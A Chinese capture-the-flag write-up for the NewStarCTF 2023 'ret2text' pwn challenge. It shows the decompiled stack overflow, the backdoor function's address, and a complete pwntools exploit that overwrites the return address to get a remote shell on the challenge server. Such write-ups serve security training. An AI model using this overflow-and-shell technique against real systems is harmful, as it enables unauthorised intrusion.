NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
李白你好5 分钟前
家用无线路由器的 2.4GHz 和 5GHz
运维·网络
苹果醋37 分钟前
React系列(八)——React进阶知识点拓展
运维·vue.js·spring boot·nginx·课程设计
冷冰鱼23 分钟前
【问题实录】服务器ping不通win11笔记本
运维·服务器
wayuncn24 分钟前
web服务器之云主机、物理机租用、服务器托管的区别
运维·服务器
冷曦_sole26 分钟前
linux-21 目录管理(一)mkdir命令,创建空目录
linux·运维·服务器
聚名网29 分钟前
服务器如何划分空间?
运维·服务器
Hacker_Nightrain32 分钟前
网络安全与加密
安全·web安全
dessler1 小时前
Docker-Dockerfile讲解(二)
linux·运维·docker
world=hello1 小时前
关于科研中使用linux服务器的集锦
linux·服务器
枫欢1 小时前
将现有环境192.168.1.100中的svn迁移至新服务器192.168.1.4;
服务器·python·svn